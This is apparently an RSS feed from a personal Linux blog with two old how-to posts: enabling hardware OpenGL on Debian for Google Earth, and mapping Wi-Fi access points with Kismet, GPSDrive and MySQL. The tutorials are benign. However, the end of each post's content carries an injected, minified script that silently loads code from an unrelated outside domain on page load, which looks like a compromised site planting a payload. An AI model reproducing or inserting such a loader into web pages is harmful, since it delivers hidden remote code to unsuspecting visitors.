<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; google earth</title>
	<atom:link href="http://www.larsen-b.com/tags/google-earth/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto to get openGL working on Debian (for Google Earth)</title>
		<link>http://www.larsen-b.com/Article/231.html</link>
		<comments>http://www.larsen-b.com/Article/231.html#comments</comments>
		<pubDate>Mon, 12 Jun 2006 23:03:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[google earth]]></category>
		<category><![CDATA[openGL]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[3D drivers (openGL) have awlays been a source of problem on Linux. A lot of people just don&#8217;t care, since they don&#8217;t use there computer to play games. But yesterday, something change this fact: Google released a native version of &#8230; <a href="http://www.larsen-b.com/Article/231.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>3D drivers (openGL) have awlays been a source of problem on Linux.<br />
A lot of people just don&#8217;t care, since they don&#8217;t use there computer<br />
to play games. But yesterday, something change this fact: Google released<br />
a native version of Google Earth for Linux[1]. As I already played with<br />
Google Earth before, I really want to test this new toy.[2]</p>
<p>Fine, except that I&#8217;m unable to get hardware openGL working and Google Earth is<br />
really slow, so I decided to fix that. (done on two computers..)</p>
<div class="section">
<h1><a id="configure-your-kernel" name="configure-your-kernel">1) Configure your kernel</a></h1>
<p>Be sure to have AGP (Device drivers-&gt;Character device) and DRM (Device<br />
drivers -&gt;Graphic drivers) enabled for your card. Now rebuild it using<br />
the usual way.. and reboot.</p>
<p>After the boot look at dmesg, you should find something like this:</p>
<pre class="literal-block">agpgart: Detected 892K stolen memory.
agpgart: AGP aperture is 128M @ 0xf0000000
[drm] Initialized drm 1.0.1 20051102
...
[drm] Initialized i915 1.4.0 20060119 on minor 0
[drm] Initialized i915 1.4.0 20060119 on minor 1</pre>
<dl class="docutils">
<dt>(If you have a Dell computer like D400 with Intel 855GM, you need to</dt>
<dd>choose the i915 driver for DRM, edit the linux/.config since it doesn&#8217;t<br />
appear in common menuconfig)</dd>
</dl>
</div>
<div class="section">
<h1><a id="install-the-latest-xorg" name="install-the-latest-xorg">2) Install the latest Xorg</a></h1>
<p>This is the tricky part, since Xorg update are not really easy this days.</p>
<pre class="literal-block">sudo apt-get install xserver-xorg</pre>
<p>Let&#8217;s go, for a long update&#8230; (I&#8217;m switching from 6.9 to Xorg 7.0)..<br />
I spent a little time to fix some errors here.. but nothing really important.</p>
</div>
<div class="section">
<h1><a id="install-mesa" name="install-mesa">3) Install Mesa</a></h1>
<p>Now, you need to install the openGL libs, simple apt-get this packages:</p>
<ul class="simple">
<li>xlibmesa-dri</li>
<li>xlibmesa-gl</li>
<li>xlibmesa-glu</li>
<li>mesa-utils</li>
<li>libgl1-mesa-dri</li>
<li>libgl1-mesa-glx</li>
</ul>
</div>
<div class="section">
<h1><a id="tests" name="tests">4) Tests</a></h1>
<p>Start your Xserver, and look in /var/log/Xorg.0.log, you should fine stuff like<br />
this:</p>
<pre class="literal-block">(II) I810(0): [drm] created "i915" driver at busid "pci:0000:00:02.0"
(II) I810(0): [drm] added 8192 byte SAREA at 0xe0b2f000</pre>
<p>So we can test check with <em>glxinfo</em></p>
<pre class="literal-block">display: :0  screen: 0
direct rendering: Yes
server glx vendor string: SGI
server glx version string: 1.2</pre>
<p>Be sure to have <em>direct rendering</em> ok.. if this is ok, .. you can start glxgears..<br />
and Google Earth :) ..</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/google_earth.sized.jpg" alt="http://jkx.larsen-b.com/photos/blog/google_earth.sized.jpg" /></p>
</div>
<div class="section">
<h1><a id="issues" name="issues">5) Issues</a></h1>
<p>Some users have some trouble w/ DRI not working with  strange messages<br />
( sizeof(I830DRIRec) does not match &#8230;), or strange display updates (out of syncr<br />
windows .. ). This seems to be bugs in Mesa, you can try the latest experimental<br />
(which fix all issues for me). Simply install this packages:</p>
<blockquote>
<ul class="simple"></ul>
</blockquote>
<li>libgl1-mesa-dri_6.5.0.cvs</li>
<li>libglu1-mesa_6.5.0.cvs</li>
<li>libgl1-mesa-glx_6.5.0.cvs</li>
<p><strong>Update: Added issues w/ my Dell Latitude D400</strong></p>
<p><strong>Update2: The latest mesa from the Debian SID is working right now</strong> (no more experimental)</p>
<ul class="simple">
<li>[1] <a class="reference" href="http://www.larsen-b.com/Article/212.html">http://www.larsen-b.com/Article/212.html</a></li>
<li>[2] <a class="reference" href="http://earth.google.com/">http://earth.google.com/</a></li>
</ul>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/231.html/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Kismet + GPSDrive + MySQL + Python = Google Earth Wlan Map</title>
		<link>http://www.larsen-b.com/Article/212.html</link>
		<comments>http://www.larsen-b.com/Article/212.html#comments</comments>
		<pubDate>Thu, 18 Aug 2005 13:49:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[google earth]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Last week I decided to build a map of the wireless access point in the Town. It is not really easy to find the right tools, so I decided to write this little Howto. To archive this goal you need &#8230; <a href="http://www.larsen-b.com/Article/212.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Last week I decided to build a map of the wireless access point in the Town. It is not really easy to find the right tools, so I decided to write this little Howto.</p>
<p>To archive this goal you need severals tools:</p>
<div id="kismet" class="section">
<h1><a name="kismet">Kismet</a></h1>
<p>First install <a class="reference" href="http://www.kismetwireless.net/">Kismet</a>. You need a wireless card that support RFMon in monitor mode. I think <a class="reference" href="http://madwifi.sourceforge.net/">Madwifi</a> cards, and patched <a class="reference" href="http://www.kismetwireless.net/documentation.shtml">Orinoco</a> are the only ones that support this.</p>
<p>Launch Kismet, and now check for a given AP that kismet know the best level..</p>
<p>If everything is ok, edit the kismet config file and set <em>gps=try</em></p>
</div>
<div id="gpsdrive" class="section">
<h1><a name="gpsdrive">GPSDrive</a></h1>
<p>Download and install the latest CVS version of <a class="reference" href="#gpsdrive">GPSDrive</a> (I have some issues with the latest tgz and kismet). The next step is to have a GPS working with gpsd. Most GPS will work, I bought a cheap one with a USB cord on ebay.</p>
<p>Simply launch gpsd, and after gpsdrive. You should see the reception level in <a class="reference" href="#gpsdrive">GPSDrive</a>.</p>
<p><!-- GPSDrive: http://gpsdrive.kraftvoll.at/ --></p>
</div>
<div id="mysql" class="section">
<h1><a name="mysql">MySQL</a></h1>
<p>To use Kismet + GPSDrive, you need to have a MySQL database. In fact GPSDrive will ask to kismet the new APs, and dump this informations in a MySQL db. You can find the create.sql in <a class="reference" href="#gpsdrive">GPSDrive</a> sources.</p>
<pre class="literal-block">mysql -u root -p &lt; ./create.sql</pre>
<p>This will add a user : gast / gast</p>
</div>
<div id="first-try" class="section">
<h1><a name="first-try">First try</a></h1>
<p>Ok, now launch <a class="reference" href="#gpsdrive">GPSDrive</a> and set the &#8216;use SQL&#8217; (or edit the config file), and quit.</p>
<p>Now to start the whole stuff:</p>
<ul class="simple">
<li>Plug the wireless antenna (this is better for wardriving ;)</li>
<li>Plug the GPS</li>
<li>Launch gpsd (be carefull to have enought satellite in view)</li>
<li>Launch <a class="reference" href="http://www.kismetwireless.net/">Kismet</a> (it should tell you, it find the GPS&#8230;)</li>
<li>Launch <a class="reference" href="#gpsdrive">GPSDrive</a> (it should display a little kismet logo on bottom)</li>
<li>Now, you&#8217;re ready to go, walk down the street you should see new APs on the <a class="reference" href="#gpsdrive">GPSDrive</a> map.</li>
</ul>
<div class="image"><img src="http://www.brest-wireless.net/albums/Misc/full_gpsdrive.sized.jpg" alt="http://www.brest-wireless.net/albums/Misc/full_gpsdrive.sized.jpg" /></div>
</div>
<div id="after-the-trip-google-earth" class="section">
<h1><a name="after-the-trip-google-earth">After the trip: Google Earth</a></h1>
<p>Ok, now you have a lot of points in your database.. And GPSDrive have a little troubles to display them.. After a little time, i decided to install <a class="reference" href="http://earth.google.com/">Google Earth</a>, and look at the way to add new points on the map..</p>
<p>This, is quite simple, all i need to do is to extract data form the SQL, and build a xml file that contain all the points. I decided to write <a class="reference" href="http://svn.pythonfr.org/public/pythonfr/utils/misc/gpsdriveToGoogleEarth.py">gpsdriveToGoogleEarth.py</a>. This quick and dirty script will generate a file &#8216;ap.kml&#8217;. Now simply launch Google Earth and open this file. You will see something like this:</p>
<div class="image"><img src="http://www.brest-wireless.net/albums/Misc/google_earth.sized.jpg" alt="http://www.brest-wireless.net/albums/Misc/google_earth.sized.jpg" /></div>
<p>The main issue for me, is that <a class="reference" href="http://earth.google.com/">Google Earth</a> doesn&#8217;t support Linux right now so I need to dual-boot.. But this provide a easy way to build the card without too much pain. And i can share the Google Earth file others guys simply.</p>
</div>
<div id="warning" class="section">
<h1><a name="warning">WARNING</a></h1>
<p>I do this only for the fun, so don&#8217;t try to hack wireless access point using this howto, this is not the goal !</p>
<p>&#8211; Enjoy</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/212.html/feed</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
	</channel>
</rss>
